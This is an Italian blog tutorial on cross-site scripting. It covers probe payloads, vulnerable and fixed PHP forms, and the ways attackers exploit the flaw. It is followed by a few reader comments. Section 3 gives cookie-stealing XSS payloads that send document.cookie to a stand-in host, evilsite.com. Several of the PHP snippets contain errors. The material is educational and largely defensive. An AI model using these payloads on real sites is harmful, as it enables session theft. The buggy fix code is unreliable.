Guida Al Cross Site Scripting
In questa guida cercheremo di farvi capire il piu possibile sulle xss ovvero sul cross site scripting, una vulnerabilita facilmente trovabile (e altrettanto facilmente fixabile) nei siti web.
1) Il cross site scripting
2) Fixare una xss
3) Metodi usati dai crackers per sfruttare una xss
1) Il cross site scripting
Il cross site scripting rientra nella categoria “injection code”, ovvero l’ignezione di codice maligno in una pagina web.
Questo tipo di attacco funziona su tutte le pagine web dinamiche e non, e , premesso questo, andiamo a vedere come si trovano le xss.
Spesso questa vulnerabilita si trova nei motori di ricerca e, per vedere se e presente, basta mettere codice js dentro alla casella di ricerca. Spesso i “bug-hunter” preferiscono utilizzare un codice che genera un pop-up simile a questo:
<script>alert('sito afflitto da xss')</script>
In questo modo apparira una finestrella che dira
sito afflitto da xss
Esistono molti modi per fare apparire questi pop up e per aggirare gli eventuali fix del sys admin ma questo e il codice piu comune.
Di solito davanti a questo codice si usa mettere
'>
In mondo da chiudere il form della casella di ricerca. In questo modo avremo un codice
Come questo
'><script>alert('sito afflitto da xss')</script>
Esistono pero molti altri posti dove poter trovare xss e, premesso che il sys admin non sia bravo, possiamo trovarle ad esempio: in una tagboard, in un guestbook, nei commenti di un blog, e (sono possibili) in ogni form.
2) Come fixare una xss
Noi ci occuperemo di fixare xss in script in php. Per fixare un’xss basta mettere una piccola funzione per controllare il testo inserito nel forms.
Per farlo dovremo modificare il codice sorgente della pagina che riceve i dati.
Ecco un’esempio di xss su post (un guestbook o una tagboard per esempio):
index.html
<form name="form_afflitto_da_xss" method="post" action="xss.php">
<input type="txt" name="xss">
<input type="text" value="" name="var2">
</form>
xss.php
<?php
xss = $_POST['xss'];
echo $xss;
?>
Se inserite
<script>alert('sito afflitto da xss')</script>
Si aprira una finestrella con scritto appunto
sito afflitto da xss
per fixare questa xss possiamo usare per esempio:
<?php
xss = htmlentities($_POST['xss']);
echo $xss;
?>
Ora l’ xss non funzionera piu, dato che i simboli speciali verranno trasformati nei loro rispettivi hex code.
Oppure se non vogliamo possiamo sostituire dei caratteri con degli altri a nostro piacere. Possiamo fare cio con str_replace:
<?php
xss = str_replace('</>', '-', $_POST['xss']);
echo $xss;
?>
Questo codice sostituira nella variabile xss i codici </> in - (anche se le restrizioni potrebbero venire raggirate, percio e consigliato htmlentities).
Lo stesso vale per GET:
<?php
$xss = $_GET['xss']
echo xss;
?>
Per fixarlo, potreste farlo diventare:
<?php
xss = htmlentities($_POST['xss']);
echo $xss;
?>
3) Metodi che usano i crackers per sfruttare questa vulnerabilita
Negli ultimi tempi la tecnica del cross site scripting viene spesso sottovalutata, per questo motivo alla fine risulta una delle tecniche piu distruttive usate dai crackers per aggirare la sicurezza del vostro sito. Sono inoltre, molto facili da trovare, percio un attacco del genere potrebbe arrivare da un semplice lamer.
Una xss, come gia detto, permette all’ attaccante di inserire codice (lato client ovviamente) in una vostra pagina, quindi si possono includere codici javascript.
Gli attacchi spesso (se non sempre) si basano su quest’ultimo.
L’ attacco potrebbere consistere nel rubare i cookie dell’utente che visita la pagina afflitta dall’xss. In un caso di xss su variabile get, l’ url potrebbe essere cosi:
http://sito_buggato.it/search?xss='><script>alert(window.location="http://evilsite.com/script.php?data=" + document.cookie)</script>
Oppure su post (in un guestbook magari) dove e permesso codice html
<img src="http://evilsite.com/script.php?data=" + document.cookie">
Oppure ancora potrebbero iniettare codice javascript come:
<script>alert(window.location="http://evilsite.com/script.php?data=" + document.cookie)</script>
Dove chi visita la pagina verra reindirizzato al sito maligno.
L’ attaccante usera una pagina in un host che permettera di rubarvi i cookie.
Questi sono soltanto esempi, ma con questa tecnica si potrebbe anche eseguire un redirect verso un sito maligno preparato ad hoc.
In seguito vedremo come fixare script in altri linguaggi.



marzo 26th, 2009 at 10:01
[...] degli esempi di codici, che vengono utilizzati dai “Bug-Hunter” per trovare delle XSS nei siti web: [...]
marzo 26th, 2009 at 11:46
[...] degli esempi di codici, che vengono utilizzati dai “Bug-Hunter” per trovare delle XSS nei siti [...]
luglio 20th, 2009 at 15:05
[...] E’ arrivato l’annuncio dal blog ufficiale, sulla release dell’ultima versione di wordpress, 2.8.2, che ha come scopo il fixing di una XSS (Cross Site Scripting). [...]
settembre 9th, 2009 at 17:47
ti dimentichi alert(“document.cookie”) che visuallizza i cookie
settembre 11th, 2009 at 23:27
è una guida alla difesa, non all’attacco.
Ciao